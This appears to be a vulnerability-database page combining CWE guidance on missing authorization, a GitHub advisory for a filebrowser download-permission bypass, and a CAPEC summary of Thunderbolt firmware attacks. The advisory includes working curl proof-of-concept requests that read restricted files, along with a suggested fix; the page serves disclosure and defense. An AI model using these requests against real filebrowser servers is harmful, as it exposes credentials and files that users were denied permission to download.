Relationships and members
Modes of introduction
OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.
A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.
Detection methods
Automated Static Analysis
Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.
Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.
Effectiveness: Limited
Automated Dynamic Analysis
Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.
Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.
Effectiveness: Moderate
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: SOAR Partial
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Host Application Interface Scanner
Fuzz Tester
Framework-based Fuzzer
Effectiveness: SOAR Partial
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: SOAR Partial
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction
Effectiveness: High
Notes
Terminology
Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

GHSA-67CG-CPJ7-QGC9
Vulnerability from github – Published: 2026-04-08 00:05 – Updated: 2026-04-08 00:05Summary
The resourceGetHandler in http/resource.go returns full text file content without checking the Perm.Download permission flag. All three other content-serving endpoints (/api/raw, /api/preview, /api/subtitle) correctly verify this permission before serving content. A user with download: false can read any text file within their scope through two bypass paths.
Confirmed on v2.62.2 (commit 860c19d).
Root Cause
http/resource.go line 26-33 hardcodes Content: true in the FileOptions without checking download permission:
file, err := files.NewFileInfo(&files.FileOptions{
...
Content: true, // Always loads text content, no permission check
})
Lines 44-63: the X-Encoding: true header path reads the entire file and returns raw bytes as application/octet-stream, also without any download check.
Compare with the three protected endpoints:
// raw.go:83-85
if !d.user.Perm.Download { return http.StatusAccepted, nil }
// preview.go:38-40
if !d.user.Perm.Download { return http.StatusAccepted, nil }
// subtitle.go:13-15
if !d.user.Perm.Download { return http.StatusAccepted, nil }
PoC
Tested on filebrowser v2.62.2, built from HEAD.
# Create user with download=false via CLI
filebrowser users add restricted testuser123456 --perm.download=false
# Login
TOKEN=$(curl -s http://HOST/api/login -d '{"username":"restricted","password":"testuser123456"}')
# BLOCKED: /api/raw correctly enforces download permission
curl -s -w "\nHTTP: %{http_code}" http://HOST/api/raw/secret.txt -H "X-Auth: $TOKEN"
# → 202 Accepted (empty body)
# BYPASS 1: /api/resources with X-Encoding returns raw file content
curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" -H "X-Encoding: true"
# → 200 OK, body: SECRET_PASSWORD=hunter2
# BYPASS 2: /api/resources JSON includes content field
curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" | jq .content
# → "SECRET_PASSWORD=hunter2\n"
Impact
A user with download: false can read the full content of text files within their authorized scope (up to the 10MB detectType limit). This includes source code, configuration files, credentials, and API tokens stored as text.
This bypass does not defeat path authorization. It bypasses only the Download permission for files the user can otherwise address within their authorized scope. The inconsistency across the four content-serving endpoints (three check Perm.Download, one does not) indicates this is an oversight, not a design decision.
Suggested Fix
Match the existing endpoint behavior (HTTP 202 for denied downloads):
Content: d.user.Perm.Download, // Only load content when permitted
And add a guard before the X-Encoding raw byte path, matching the existing 202 pattern:
if !d.user.Perm.Download {
return http.StatusAccepted, nil
}
Update: Fix submitted as PR #5891.

Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
